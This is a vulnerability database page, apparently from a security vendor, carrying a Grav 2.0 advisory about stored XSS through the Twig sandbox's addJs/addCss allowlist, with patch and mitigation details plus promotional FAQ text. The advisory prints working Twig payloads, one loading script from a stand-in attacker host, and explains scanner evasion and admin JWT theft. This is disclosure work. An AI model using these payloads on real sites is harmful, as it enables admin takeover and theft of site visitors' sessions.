How should we interpret CVSS severity scores?

CVSS estimates technical severity, but it does not automatically equal business risk. Prioritize using context like internet exposure, asset criticality, known exploitation, and whether compensating controls exist. A Medium CVSS on an exposed production system can be more urgent than a Critical on an isolated non-production host.

Vulnerability Database

Q: What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

Q: What's the difference between a vulnerability, an exploit, and a zero-day?

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. Risk increases sharply when exploitation becomes reliable or widespread.

Q: Why do vulnerabilities keep reappearing in our environment?

Recurring findings usually come from incomplete asset discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host.

Q: How do we prioritize remediation without burning out the team?

Use a repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress so remediation is steady, not reactive.

Q: How can SynScan help reduce vulnerability risk over time?

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.

383,463

Total vulnerabilities in the database

Grav: Page editors can inject arbitrary script into rendered pages via the Twig sandbox's assets.addJs/addCss allowlist, escalating to super-admin — getgrav / grav

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Summary

Grav 2.0 renders editor-authored Twig in page content by default and relies on the Twig content sandbox to contain it. The shipped sandbox policy allowlists addcss and addjs on Grav\Common\Assets (system/src/Grav/Common/Twig/Sandbox/SandboxDefaults.php:307). Because the sandbox arbitrates the call and not its downstream effect, a user holding only page-edit rights can register an arbitrary asset from page content; the theme then emits it into the document head as a <script src> / <link href> tag. The asset URL is concatenated into that tag without escaping, so it can also break out of its own attribute.

The save-time XSS scan cannot see this: Security::detectXssInEditorContent() renders the content body in isolation and inspects the returned string, while assets.addJs() acts by mutating the shared Assets service and returns only an object key. The payload contains no markup for the scanner to flag.

This is not a Security::detectXss() bypass. It is content reaching an unescaped output sink through an allowlisted method.

Affected versions

All Grav 2.0 releases whose sandbox policy allowlists addcss/addjs on Grav\Common\Assets. The entry predates 2.0.19 — it was carried forward unchanged when the sandbox allowlists moved from system/config/security.yaml into SandboxDefaults in 2.0.19.

Grav 1.7 is not affected: it has no Twig content sandbox and required an explicit per-page process: twig.

Details

Reachable by a plain page editor, with no Twig permission and no configuration change. On a stock install security.twig_content.process_enabled is true and system/config/system.yaml ships process: { markdown: true } with no twig key, so Security::applyTwigContentDefault() defaults every page's process.twig to the gate's value. Content Twig therefore runs on every page that does not explicitly set the flag. security.twig_content.editor_enabled: false and the admin.pages_twig permission gate only the per-page override checkbox in the editor — they do not gate whether Twig runs.

The sink. Assets/Js.php:46 (and identically Css.php:50, Link.php:41, JsModule.php:47) builds the tag by concatenation with no escaping:

return &#039;&lt;script src=&quot;&#039; . trim($this-&gt;asset) . $this-&gt;renderQueryString() . &#039;&quot;&#039; . $this-&gt;renderAttributes() . ...

For any remote asset, BaseAsset::init() stores the caller's string verbatim. Two working variants follow:

External script inclusion — {{ assets.addJs('https://attacker.example/poc.js') }}
Attribute injection with no attacker-controlled host — {{ assets.addJs('/user/themes/quark/js/site.js', {'onload':'alert(1)'}) }}, because unifyLegacyArguments() passes a second array argument straight into the tag's attributes and attribute names are not filtered. The same effect is reachable by embedding a quote in the URL itself.

Timing. Twig::processSite() resolves $page->content() before rendering the theme template, so the registration lands before the head is emitted.

javascript: and data: URLs are not exploitable — they are treated as local paths and dropped when the file does not exist.

Impact

Persistent script execution on the site's own origin for every visitor of the affected page — including administrators, which makes this a page-editor-to-super-admin escalation:

Admin-Next renders the page-edit preview as an iframe pointed at the real front-end URL with sandbox="allow-same-origin allow-scripts allow-forms", so simply previewing the editor's page executes the payload on the admin panel's origin. The existing preview session isolation (plugins.api.protect_frontend_session) only suppresses server-side session start to protect a visitor's front-end session; it does not isolate the origin and does not prevent this.
Admin-Next persists the administrator's API access and refresh JWTs in localStorage on that same origin. Injected script reads them directly, yielding portable super-admin API access that outlives the page view.
An administrator merely browsing the public site while logged in is equally sufficient; the preview is not required.

Patches

Fixed in Grav 2.0.20:

addcss/addjs removed from the Grav\Common\Assets sandbox method allowlist. Asset registration is a layout concern, not a content concern. Sites that genuinely need it can re-add the methods through security.twig_sandbox.allowed_methods, which is additive over the shipped defaults.
Asset URLs are now HTML-escaped at every render site (Js, Css, Link, JsModule, and the pipeline), so a quote in an asset URL can no longer break out of its attribute regardless of which caller supplied it.

Operators who cannot upgrade immediately can tighten the policy in user/config/security.yaml:

twig_sandbox:
  denied_methods:
    - class: Grav\Common\Assets
      methods: &#039;addcss, addjs&#039;

Credits

Reported by Ahmed Ibrahim (@skeletonsec).

Published: Aug 21, 2026
Updated: Aug 22, 2026
GHSA: GHSA-8hgv-xc77-jmcr
Severity: Medium
Exploit:
CISA KEV:

No technical information available.

CWEs:

CWE-79

OWASP TOP 10:

A7 - Cross-Site Scripting (XSS)

Affected Software
References

Software	Affected versions
getgrav / grav	`< 2.0.20`

Deep Security Visibility Without the Complexity

SynScan provides clear, real-time security insights so you can monitor your attack surface, spot risks early, and act fast—without extra complexity.

No setup fees
5-min deployment
Cancel anytime

Book a Demo

Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.